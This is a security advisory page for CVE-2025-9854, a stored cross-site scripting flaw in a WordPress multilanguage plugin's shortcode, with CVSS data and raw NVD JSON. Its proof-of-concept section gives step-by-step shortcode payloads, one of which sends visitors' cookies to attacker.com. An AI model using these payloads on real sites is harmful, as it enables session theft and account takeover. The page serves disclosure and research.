Security Vulnerability Report
中文
CVE-2025-9854 CVSS 6.4 MEDIUM

CVE-2025-9854

Published: 2025-10-03 12:15:49
Last Modified: 2026-04-15 00:35:42

Description

The A Simple Multilanguage Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'asmp-switcher' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

A Simple Multilanguage Plugin for WordPress <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-9854 Stored XSS via 'asmp-switcher' shortcode in A Simple Multilanguage Plugin Requires: Contributor-level access or above --> <!-- Step 1: Attacker logs in as a Contributor --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Insert the following malicious shortcode in the content area --> [asmp-switcher label=""><img src=x onerror=alert(document.cookie)>" lang="en"] <!-- Alternative payloads --> <!-- Payload 1: Cookie stealing --> [asmp-switcher label="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" lang="en"] <!-- Payload 2: Using event handler on an attribute --> [asmp-switcher label="Click Me" lang="en" onmouseover="alert('XSS')"] <!-- Payload 3: Using SVG-based XSS --> [asmp-switcher label="<svg onload=alert(1)>" lang="en"] <!-- Step 4: Publish the post/page Step 5: When any user (especially admin) visits the page, the malicious JavaScript executes in their browser context, leading to cookie theft, session hijacking, or privilege escalation. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9854", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:48.920", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The A Simple Multilanguage Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'asmp-switcher' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/a-simple-multilanguage/trunk/a-simple-multilang.php#L315", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/77033d00-f794-4dbe-9454-17c312855491?source=cve", "source": "[email protected]"}]}}